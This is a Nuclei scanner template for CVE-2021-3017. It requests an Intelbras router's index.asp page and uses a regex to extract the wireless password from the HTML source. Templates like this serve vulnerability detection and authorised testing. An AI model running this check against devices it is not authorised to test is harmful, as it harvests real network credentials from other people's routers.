id: CVE-2021-3017
info:
name: Intelbras WIN 300/WRN 342 - Credentials Disclosure
author: pikpikcu
severity: high
description: Intelbras WIN 300 and WRN 342 devices through 2021-01-04 allows remote attackers to discover credentials by reading the def_wirelesspassword line in the HTML source code.
reference:
- https://nvd.nist.gov/vuln/detail/CVE-2021-3017
- https://pastebin.com/cTYTf0Yn
- https://www.intelbras.com/pt-br/ajuda-download/faq/roteador-wireless-veloz-wrn-342
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.5
cve-id: CVE-2021-3017
epss-score: 0.01215
tags: cve,cve2021,exposure,router
metadata:
max-request: 1
http:
- method: GET
path:
- "{{BaseURL}}/index.asp"
matchers-condition: and
matchers:
- type: word
words:
- 'def_wirelesspassword ='
- '<title>Roteador Wireless</title>'
part: body
condition: and
- type: status
status:
- 200
extractors:
- type: regex
regex:
- 'def_wirelesspassword = "([A-Za-z0-9=]+)";'
# Enhanced by mp on 2022/03/30